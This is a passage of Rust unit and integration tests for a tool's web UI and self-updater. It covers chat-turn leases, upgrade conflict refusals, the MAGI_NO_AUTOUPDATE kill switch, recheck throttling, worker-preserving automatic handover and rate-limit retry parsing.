24638            let result = talk_say(
24639                State(Arc::clone(&ui)),
24640                Path(id.clone()),
24641                Ok(Json(NewTalkTurn {
24642                    reply_to: None,
24643                    text: "another message".to_owned(),
24644                    attachments: Vec::new(),
24645                })),
24646            )
24647            .await;
24648            Some((result, before, consult_snapshot(&ui, &q, &id)))
24649        } else {
24650            None
24651        };
24652        std::fs::write(&release, "").expect("release agent");
24653        let done = turn.await.expect("join CLI turn");
24654        ready.expect("agent started before deadline");
24655        let (result, before, after) = refusal.expect("web request");
24656        let error = result.expect_err("web must refuse the CLI's turn");
24657        assert_eq!(error.status, StatusCode::CONFLICT);
24658        assert!(error.message.contains("a turn is already running"));
24659        assert_eq!(
24660            after, before,
24661            "refusal preserves question, draft and history"
24662        );
24663        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24664        let guard = ui
24665            .begin_talk_turn(&id)
24666            .expect("web claim")
24667            .expect("free again");
24668        drop(guard);
24669    }
24670
24671    #[test]
24672    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24673        let home = TempDir::new().expect("temp home");
24674        let talks = Talks::at(home.path().join("talks"));
24675        let ui = Ui::new(
24676            Queue::at(home.path().join("queue")),
24677            Questions::at(home.path().join("questions")),
24678            talks.clone(),
24679            home.path().join("runs"),
24680            home.path().to_path_buf(),
24681            PathBuf::from("/repo"),
24682        )
24683        .with_worktrees_root(home.path().join("wt"));
24684        let id = "20260901-000000-order";
24685        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24686        // Hold the slot mutex so the drop can finish the lease but not the slot.
24687        let slots = ui.talk_turns.lock().unwrap();
24688        let dropper = std::thread::spawn(move || drop(turn));
24689        let start = std::time::Instant::now();
24690        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24691            std::thread::sleep(Duration::from_millis(5));
24692        }
24693        assert!(!talks.turn_held(id), "the lease is released first");
24694        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24695        drop(slots);
24696        dropper.join().expect("join");
24697        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24698    }
24699
24700    #[tokio::test]
24701    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24702        let fx = Fixture::start().await;
24703        let mut beat = crate::daemon::Status::new();
24704        beat.worker_protocol = None;
24705        beat.pid = 4321;
24706        beat.updated_at = jiff::Timestamp::now();
24707        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24708            .expect("publish a heartbeat");
24709
24710        let res = fx.post("/api/upgrade", None).await;
24711        assert_eq!(res.status, 409);
24712    }
24713
24714    /// [`should_spawn_recheck`] must refuse for the same two reasons
24715    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24716    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24717    /// Purely a predicate over config and the environment - no network, no
24718    /// disk, no runtime - so unlike the fixture-based tests around it this
24719    /// one needs neither.
24720    #[test]
24721    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24722        assert!(!should_spawn_recheck(&crate::config::Update {
24723            mode: UpdateMode::Off,
24724            interval: None,
24725            auto_restart: false,
24726        }));
24727
24728        // SAFETY: single-threaded as far as this variable goes, the same
24729        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24730        unsafe {
24731            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24732        }
24733        let killed = should_spawn_recheck(&crate::config::Update {
24734            mode: UpdateMode::Notify,
24735            interval: None,
24736            auto_restart: false,
24737        });
24738        unsafe {
24739            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24740        }
24741        assert!(
24742            !killed,
24743            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24744             one-time startup check"
24745        );
24746
24747        assert!(should_spawn_recheck(&crate::config::Update {
24748            mode: UpdateMode::Notify,
24749            interval: None,
24750            auto_restart: false,
24751        }));
24752    }
24753
24754    /// [`recheck_poll_period`] must track a configured `[update] interval`
24755    /// shorter than its own default ceiling - a fixed sleep here would leave
24756    /// an operator's short interval waiting on the next wake-up instead of on
24757    /// `should_check`, which is the same bug this whole task exists to fix,
24758    /// just one level down.
24759    #[test]
24760    fn recheck_poll_period_tracks_a_short_configured_interval() {
24761        let short = crate::config::Update {
24762            mode: UpdateMode::Notify,
24763            interval: Some("1m".to_owned()),
24764            auto_restart: false,
24765        };
24766        let period = recheck_poll_period(&short);
24767        assert!(
24768            period <= Duration::from_secs(30),
24769            "a one-minute interval must wake the task far sooner than the \
24770             default ceiling, or the deck would not notice within the \
24771             interval the operator configured: got {period:?}"
24772        );
24773
24774        let default = crate::config::Update {
24775            mode: UpdateMode::Notify,
24776            interval: None,
24777            auto_restart: false,
24778        };
24779        assert_eq!(
24780            recheck_poll_period(&default),
24781            UPDATE_RECHECK_POLL_MAX,
24782            "the default day-long interval should poll at the (capped) \
24783             ceiling rather than needlessly often"
24784        );
24785    }
24786
24787    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24788    /// same throttle `updater::Checker::should_check` already gives the
24789    /// CLI's notify mode. Built over an explicit state file via
24790    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24791    /// write the operator's real `last_update_check.json` - and therefore
24792    /// cannot flake on whatever that file happens to say on the machine
24793    /// running the test.
24794    #[test]
24795    fn recheck_skips_the_network_before_the_interval_elapses() {
24796        let dir = TempDir::new().expect("temp dir");
24797        let path = dir.path().join("state.json");
24798        let state = kaishin::UpdateCheckState {
24799            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24800            last_known_latest: None,
24801            last_known_url: None,
24802        };
24803        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24804
24805        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24806        assert!(
24807            !update_recheck_due(&checker, None),
24808            "a check made moments ago must not be repeated before the \
24809             configured interval elapses"
24810        );
24811    }
24812
24813    /// An upgrade this deck already started must not be raced by a recheck
24814    /// that discovers a newer release mid-install - regardless of what
24815    /// `should_check` says, which is why the state file here is missing
24816    /// entirely: read alone, that alone would answer "never checked, go
24817    /// ahead".
24818    #[test]
24819    fn recheck_defers_to_an_upgrade_already_in_flight() {
24820        let dir = TempDir::new().expect("temp dir");
24821        let path = dir.path().join("state.json");
24822        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24823        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24824
24825        assert!(
24826            !update_recheck_due(&checker, Some(&progress)),
24827            "a recheck must not run while an upgrade this deck started is \
24828             still moving"
24829        );
24830    }
24831
24832    #[tokio::test]
24833    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24834        // The same env var the background check honours (`disabled_by_env`)
24835        // must also stop a button press before it ever calls
24836        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24837        // means "never contact GitHub from this process", and a tap on the
24838        // upgrade button must not override that any more than a broken
24839        // `magi.toml` may. Left unset, this fixture's default config would
24840        // otherwise reach a real, unauthenticated GitHub call.
24841        //
24842        // SAFETY: single-threaded as far as this variable goes - nothing else
24843        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24844        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24845        unsafe {
24846            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24847        }
24848        let fx = Fixture::start().await;
24849        let res = fx.post("/api/upgrade", None).await;
24850        unsafe {
24851            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24852        }
24853        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24854        let body = res.json();
24855        assert!(body["to"].is_null(), "there was no release to move to");
24856        assert!(body["parked"].is_null(), "and nothing was parked");
24857        assert!(
24858            body["detail"]
24859                .as_str()
24860                .unwrap()
24861                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24862            "{body:?}"
24863        );
24864    }
24865
24866    #[test]
24867    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24868        use AutoUpgradeDecision::{Skip, Trigger};
24869        let mut cfg = Update::default();
24870        assert!(matches!(
24871            auto_upgrade_decision(&cfg, false, false, "v2", None),
24872            Skip(_)
24873        ));
24874        cfg.auto_restart = true;
24875        assert_eq!(
24876            auto_upgrade_decision(&cfg, false, false, "v2", None),
24877            Trigger
24878        );
24879        for (disabled, moving, failed) in [
24880            (true, false, None),
24881            (false, true, None),
24882            (false, false, Some("v2")),
24883        ] {
24884            assert!(matches!(
24885                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24886                Skip(_)
24887            ));
24888        }
24889        assert_eq!(
24890            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24891            Trigger
24892        );
24893        cfg.mode = UpdateMode::Off;
24894        assert!(matches!(
24895            auto_upgrade_decision(&cfg, false, false, "v2", None),
24896            Skip(_)
24897        ));
24898    }
24899
24900    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24901        Box::pin(async { anyhow::bail!("test installer failed") })
24902    }
24903
24904    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24905        std::sync::LazyLock::new(Mutex::default);
24906
24907    fn test_replace_and_signal_handover(
24908        home: PathBuf,
24909    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24910        Box::pin(async move {
24911            if let Some(mut progress) = updater::read_progress(&home) {
24912                progress.advance(updater::Stage::Replaced);
24913                updater::write_progress_logged(&home, &progress);
24914            }
24915            if let Some(signal) = TEST_AUTO_HANDOVERS
24916                .lock()
24917                .unwrap_or_else(PoisonError::into_inner)
24918                .remove(&home)
24919            {
24920                signal.notify_one();
24921            }
24922            Ok(())
24923        })
24924    }
24925
24926    #[tokio::test]
24927    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24928        let home = TempDir::new().unwrap();
24929        let mut ui = idle_ui(&home);
24930        ui.repo = home.path().to_path_buf();
24931        // Every successful trigger in this test uses this seam, never the installer.
24932        ui.upgrade_runner = fail_test_upgrade;
24933        let ui = Arc::new(ui);
24934        let latest = |tag: &str| {
24935            Some(kaishin::LatestRelease {
24936                tag_name: tag.into(),
24937                html_url: String::new(),
24938            })
24939        };
24940
24941        // Opt-in default (`auto_restart = false`) does nothing.
24942        assert_eq!(
24943            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24944                .await
24945                .status(),
24946            StatusCode::NO_CONTENT
24947        );
24948        assert!(updater::read_progress(home.path()).is_none());
24949
24950        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24951        std::fs::write(
24952            home.path().join("magi.toml"),
24953            "[update]\nmode = \"off\"\nauto_restart = true\n",
24954        )
24955        .unwrap();
24956        assert_eq!(
24957            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24958                .await
24959                .status(),
24960            StatusCode::NO_CONTENT
24961        );
24962        assert!(updater::read_progress(home.path()).is_none());
24963
24964        std::fs::write(
24965            home.path().join("magi.toml"),
24966            "[update]\nauto_restart = true\n",
24967        )
24968        .unwrap();
24969
24970        // Missing detected release skips without re-querying.
24971        assert_eq!(
24972            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24973                .await
24974                .status(),
24975            StatusCode::NO_CONTENT
24976        );
24977        assert!(updater::read_progress(home.path()).is_none());
24978
24979        // Legacy embedded scheduler is still refused.
24980        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24981        std::fs::write(
24982            home.path().join("daemon.json"),
24983            serde_json::json!({
24984                "schema": 2,
24985                "pid": legacy_pid,
24986                "updated_at": Timestamp::now().to_string(),
24987                "idle": true,
24988            })
24989            .to_string(),
24990        )
24991        .unwrap();
24992        assert_eq!(
24993            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24994                .await
24995                .status(),
24996            StatusCode::CONFLICT
24997        );
24998        assert!(updater::read_progress(home.path()).is_none());
24999        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
25000
25001        // Concurrent upgrade guard refuses while the request gate is held.
25002        let gate = ui.upgrade_gate.lock().await;
25003        assert_eq!(
25004            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25005                .await
25006                .status(),
25007            StatusCode::CONFLICT
25008        );
25009        drop(gate);
25010
25011        // Active chat turns no longer defer automatic upgrades.
25012        ui.talk_turns.lock().unwrap().live.insert("busy".into());
25013        assert_eq!(
25014            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25015                .await
25016                .status(),
25017            StatusCode::ACCEPTED
25018        );
25019        let progress = updater::read_progress(home.path()).unwrap();
25020        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
25021        assert_eq!(progress.stage, updater::Stage::Downloading);
25022        assert_eq!(
25023            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
25024                .await
25025                .status(),
25026            StatusCode::CONFLICT
25027        );
25028        assert!(progress.parked_run.is_none());
25029        assert!(ui.start_detached_loop().await.is_err());
25030        assert!(ui.start_loop(None).is_err());
25031        assert!(ui.begin_resume("late").is_err());
25032        assert_eq!(
25033            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25034                .await
25035                .status(),
25036            StatusCode::NO_CONTENT
25037        );
25038        tokio::time::timeout(Duration::from_secs(2), async {
25039            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25040                tokio::task::yield_now().await;
25041            }
25042        })
25043        .await
25044        .unwrap();
25045        let progress = updater::read_progress(home.path()).unwrap();
25046        assert_eq!(progress.stage, updater::Stage::Failed);
25047
25048        // Same-release failure is suppressed for automatic retries.
25049        assert_eq!(
25050            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25051                .await
25052                .status(),
25053            StatusCode::NO_CONTENT
25054        );
25055
25056        // Manual retry still uses the shared path for the same tag.
25057        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
25058        assert_eq!(
25059            finish_upgrade_request(&ui, result).status(),
25060            StatusCode::ACCEPTED
25061        );
25062        assert_eq!(
25063            updater::read_progress(home.path()).unwrap().trigger,
25064            updater::UpgradeTrigger::Manual
25065        );
25066        tokio::time::timeout(Duration::from_secs(2), async {
25067            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25068                tokio::task::yield_now().await;
25069            }
25070        })
25071        .await
25072        .unwrap();
25073
25074        // A newer release tag clears suppression for automatic updates.
25075        assert_eq!(
25076            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
25077                .await
25078                .status(),
25079            StatusCode::ACCEPTED
25080        );
25081        assert_eq!(
25082            updater::read_progress(home.path()).unwrap().trigger,
25083            updater::UpgradeTrigger::Auto
25084        );
25085        tokio::time::timeout(Duration::from_secs(2), async {
25086            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25087                tokio::task::yield_now().await;
25088            }
25089        })
25090        .await
25091        .unwrap();
25092    }
25093
25094    #[tokio::test]
25095    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25096        let home = TempDir::new().unwrap();
25097        std::fs::write(
25098            home.path().join("magi.toml"),
25099            "[update]\nauto_restart = true\n",
25100        )
25101        .unwrap();
25102        let mut ui = idle_ui(&home);
25103        ui.repo = home.path().to_path_buf();
25104        ui.upgrade_runner = test_replace_and_signal_handover;
25105        let ui = Arc::new(ui);
25106
25107        let workers = [
25108            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25109            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25110            (
25111                "333333",
25112                3_u64,
25113                "daemon-service",
25114                "service:maintenance",
25115                41_003_u32,
25116            ),
25117        ];
25118        let mut exec_leases = Vec::new();
25119        for (id, sequence, kind, key, pid) in workers {
25120            let dir = home.path().join("workers/jobs").join(id);
25121            std::fs::create_dir_all(&dir).unwrap();
25122            let payload = if kind == "chat" {
25123                serde_json::json!({ "talk": "active-chat" })
25124            } else {
25125                serde_json::json!({})
25126            };
25127            let job = crate::worker::Job {
25128                id: id.into(),
25129                sequence,
25130                kind: kind.into(),
25131                key: key.into(),
25132                payload,
25133                generation: "gen-old".into(),
25134                version: Some("0.1.0".into()),
25135                status: crate::worker::Status::Running,
25136                result: None,
25137                pid: Some(pid),
25138                created_at: 1,
25139                finished_at: None,
25140            };
25141            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25142            exec_leases.push(crate::worker::execution_lease_for_test(
25143                &dir.join("live.lock"),
25144            ));
25145        }
25146        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25147            .unwrap()
25148            .expect("free task lease");
25149        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25150            .unwrap()
25151            .expect("free chat worker lease");
25152        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25153            .unwrap()
25154            .expect("free service lease");
25155        let chat_turn = ui
25156            .begin_talk_turn("active-chat-turn")
25157            .expect("claim chat turn")
25158            .expect("free chat turn");
25159        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25160
25161        // An unreadable reservation must defer replacement, not look like an
25162        // idle scheduler. Once repaired, the same release can still proceed.
25163        let corrupt = home.path().join("workers/jobs/444444");
25164        std::fs::create_dir_all(&corrupt).unwrap();
25165        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25166        let latest = || {
25167            Some(kaishin::LatestRelease {
25168                tag_name: "v999.0.0".into(),
25169                html_url: String::new(),
25170            })
25171        };
25172        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25173        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25174        assert!(updater::read_progress(home.path()).is_none());
25175        std::fs::remove_dir_all(corrupt).unwrap();
25176
25177        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25178            .await
25179            .expect("bind loopback");
25180        let address = listener.local_addr().expect("address");
25181        let served =
25182            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25183
25184        let handover_signal = Arc::new(Notify::new());
25185        TEST_AUTO_HANDOVERS
25186            .lock()
25187            .unwrap_or_else(PoisonError::into_inner)
25188            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25189
25190        let admission = ui.begin_admission().expect("admit");
25191        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25192        assert_eq!(response.status(), StatusCode::ACCEPTED);
25193        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25194            .await
25195            .expect("auto upgrade runner must reach handover");
25196        let replaced = updater::read_progress(home.path()).unwrap();
25197        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25198        assert_eq!(replaced.stage, updater::Stage::Replaced);
25199
25200        let successor_started = std::sync::atomic::AtomicBool::new(false);
25201        let handover = hand_over(home.path(), &ui.admissions, served, || {
25202            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25203            Ok(1)
25204        });
25205        tokio::pin!(handover);
25206        // Short admission drain still waits for an in-flight persistence/reservation guard.
25207        std::future::poll_fn(|cx| {
25208            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25209            std::task::Poll::Ready(())
25210        })
25211        .await;
25212        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25213        assert!(ui.begin_admission().is_err());
25214
25215        drop(admission);
25216        tokio::time::timeout(Duration::from_secs(2), handover)
25217            .await
25218            .expect("automatic handover must not wait for active workers")
25219            .expect("handover");
25220        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25221
25222        let successor = bind_waiting(address)
25223            .await
25224            .expect("successor binds released address");
25225        assert_eq!(successor.local_addr().unwrap(), address);
25226
25227        let restarting = updater::read_progress(home.path()).unwrap();
25228        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25229        assert_eq!(restarting.stage, updater::Stage::Restarting);
25230        assert!(restarting.parked_run.is_none());
25231        assert!(restarting.parked_talks.is_empty());
25232
25233        let active_after = crate::worker::observe_active(home.path()).unwrap();
25234        assert_eq!(active_after.len(), 3);
25235        for (id, _, kind, key, pid) in workers {
25236            let job = active_after
25237                .iter()
25238                .find(|job| job.id == id)
25239                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25240            assert_eq!(job.kind, kind);
25241            assert_eq!(job.pid, Some(pid));
25242            assert_eq!(job.generation, "gen-old");
25243            assert_eq!(job.status, crate::worker::Status::Running);
25244            assert!(
25245                crate::worker::control(home.path(), key).unwrap().is_none(),
25246                "no park/stop control may be requested for {key}"
25247            );
25248        }
25249        assert!(
25250            !home.path().join("worker-parks").exists(),
25251            "automatic handover must never request worker parks"
25252        );
25253        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25254        assert!(
25255            crate::worker::try_lease(home.path(), "task:active-task")
25256                .unwrap()
25257                .is_none()
25258        );
25259        assert!(
25260            crate::worker::try_lease(home.path(), "chat:active-chat")
25261                .unwrap()
25262                .is_none()
25263        );
25264        assert!(
25265            crate::worker::try_lease(home.path(), "service:maintenance")
25266                .unwrap()
25267                .is_none()
25268        );
25269
25270        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25271        assert!(
25272            log.contains("auto-upgrade: beginning update and restart"),
25273            "{log}"
25274        );
25275        assert!(!log.contains("waiting for idle"), "{log}");
25276        assert!(!log.contains("idle;"), "{log}");
25277
25278        drop(successor);
25279        drop(chat_turn);
25280        drop(service_lease);
25281        drop(chat_lease);
25282        drop(task_lease);
25283        drop(exec_leases);
25284    }
25285
25286    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25287        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25288        p.stage = stage;
25289        p
25290    }
25291
25292    #[test]
25293    fn busy_stages_match_the_ui_set() {
25294        use crate::updater::Stage;
25295        assert!(APP_JS.contains(
25296            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25297        ));
25298        for s in [
25299            Stage::Downloading,
25300            Stage::Replaced,
25301            Stage::Parking,
25302            Stage::Restarting,
25303        ] {
25304            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25305        }
25306        for s in [Stage::Done, Stage::Failed] {
25307            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25308        }
25309        assert!(upgrade_in_motion(None).is_none());
25310    }
25311
25312    #[tokio::test]
25313    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25314        use crate::updater::Stage;
25315        for stage in [
25316            Stage::Downloading,
25317            Stage::Replaced,
25318            Stage::Parking,
25319            Stage::Restarting,
25320        ] {
25321            let fx = Fixture::start().await;
25322            let seeded = seeded_progress(stage);
25323            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25324            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25325                .expect("read");
25326
25327            let res = fx.post("/api/upgrade", None).await;
25328            assert_eq!(res.status, 409, "{stage:?}");
25329            let err = res.json()["error"].as_str().unwrap().to_owned();
25330            assert!(err.contains("already in progress"), "{err}");
25331            assert!(err.contains(stage.as_str()), "{err}");
25332
25333            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25334                .expect("read");
25335            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25336            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25337                .unwrap_or_default();
25338            assert!(!log.contains("signalling HANDOVER"), "{log}");
25339        }
25340    }
25341
25342    #[test]
25343    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25344        assert_eq!(
25345            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25346            Some(3723)
25347        );
25348        assert_eq!(
25349            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25350            Some(60)
25351        );
25352        assert_eq!(
25353            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25354            Some(0)
25355        );
25356        for message in [
25357            "permission denied",
25358            "GitHub API rate limit exceeded",
25359            "GitHub rate limit (resets in unknown)",
25360            "GitHub rate limit (resets in 18446744073709551615d)",
25361        ] {
25362            assert_eq!(upgrade_retry_after(message), None, "{message}");
25363        }
25364    }
25365
25366    #[tokio::test]
25367    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25368        let home = TempDir::new().unwrap();
25369        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25370        ui.start_loop(None).unwrap();
25371        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25372        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25373        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25374        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25375        let response = finish_upgrade_request(&ui, result);
25376        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25377        assert_eq!(response.headers()["retry-after"], "120");
25378        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25379            .await
25380            .unwrap();
25381        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25382        assert!(body["error"].as_str().unwrap().contains(reason));
25383        assert_eq!(body["retry_after_secs"], 120);
25384        assert!(body["retry_at"].as_u64().is_some());
25385        for _ in 0..2 {
25386            let view = health(State(ui.clone())).await.unwrap().0;
25387            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25388            assert_eq!(failure, body);
25389        }
25390        assert_eq!(
25391            std::fs::read(updater::progress_path(home.path())).unwrap(),
25392            before
25393        );
25394        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25395        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25396        // A conflicting request must not erase the actionable earlier failure.
25397        let gate = ui.upgrade_gate.lock().await;
25398        assert_eq!(
25399            upgrade_post(State(ui.clone())).await.status(),
25400            StatusCode::CONFLICT
25401        );
25402        drop(gate);
25403        assert!(
25404            health(State(ui.clone()))
25405                .await
25406                .unwrap()
25407                .0
25408                .upgrade_request_error
25409                .is_some()
25410        );
25411        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25412        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25413        assert!(
25414            health(State(ui.clone()))
25415                .await
25416                .unwrap()
25417                .0
25418                .upgrade_request_error
25419                .is_none()
25420        );
25421        let live = ui.lock_loop().live.take().unwrap();
25422        live.stop.stop();
25423        live.handle.await.unwrap();
25424    }
25425
25426    #[tokio::test]
25427    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25428        use crate::updater::Stage;
25429        let repo = TempDir::new().expect("repo dir");
25430        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25431            .expect("write magi.toml");
25432        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25433        for stage in [Stage::Done, Stage::Failed] {
25434            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25435            let res = fx.post("/api/upgrade", None).await;
25436            assert_eq!(res.status, 200, "{stage:?}");
25437        }
25438        // No record at all, and the gate was released by the earlier calls.
25439        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25440        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25441    }
25442
25443    #[tokio::test]
25444    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25445        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25446        // and the route answers from its own logic.
25447        //
25448        // This test used to lean on the fixture's placeholder repo failing
25449        // config discovery, which left `mode = "notify"` - and a live,
25450        // unauthenticated call to the GitHub releases API inside a unit test.
25451        // GitHub allows 60 of those an hour per address, so the suite went red
25452        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25453        // long as somebody kept re-running it: every attempt spent another
25454        // request. Six reruns across four pull requests were charged to that
25455        // before it was read as a rate limit rather than a flake.
25456        //
25457        // What the assertion is about is the "already current" branch, which
25458        // is reached by there being no newer release *or* nowhere to look. The
25459        // second one needs no network and cannot be rate limited.
25460        let repo = TempDir::new().expect("repo dir");
25461        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25462            .expect("write magi.toml");
25463        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25464
25465        // It must answer 200 and leave the process alone: restarting for an
25466        // upgrade that did not happen parks the run in flight and drops every
25467        // connection to pay for nothing. A probe against a deck already on the
25468        // newest build did exactly that, which is how this case got its own
25469        // branch.
25470        let res = fx.post("/api/upgrade", None).await;
25471        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25472        let body = res.json();
25473        assert!(body["to"].is_null(), "there was no release to move to");
25474        assert!(body["parked"].is_null(), "and nothing was parked");
25475        assert!(
25476            body["detail"]
25477                .as_str()
25478                .unwrap()
25479                .contains("nothing restarted"),
25480            "{body:?}"
25481        );
25482    }
25483
25484    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25485        tokio::time::timeout(Duration::from_secs(5), async {
25486            while state.lock().unwrap().in_flight {
25487                tokio::task::yield_now().await;
25488            }
25489        })
25490        .await
25491        .expect("capacity scan finished");
25492    }
25493
25494    fn disk_test_scope(home: &FsPath) -> DiskScope {
25495        DiskScope {
25496            runs: home.join("runs"),
25497            worktrees: home.join("worktrees"),
25498            cache: Some(home.join("cache")),
25499        }
25500    }
25501
25502    fn known_disk_capacity() -> DiskCapacity {
25503        DiskCapacity {
25504            free_bytes: Some(100),
25505            runs_bytes: Some(200),
25506            worktrees_bytes: Some(300),
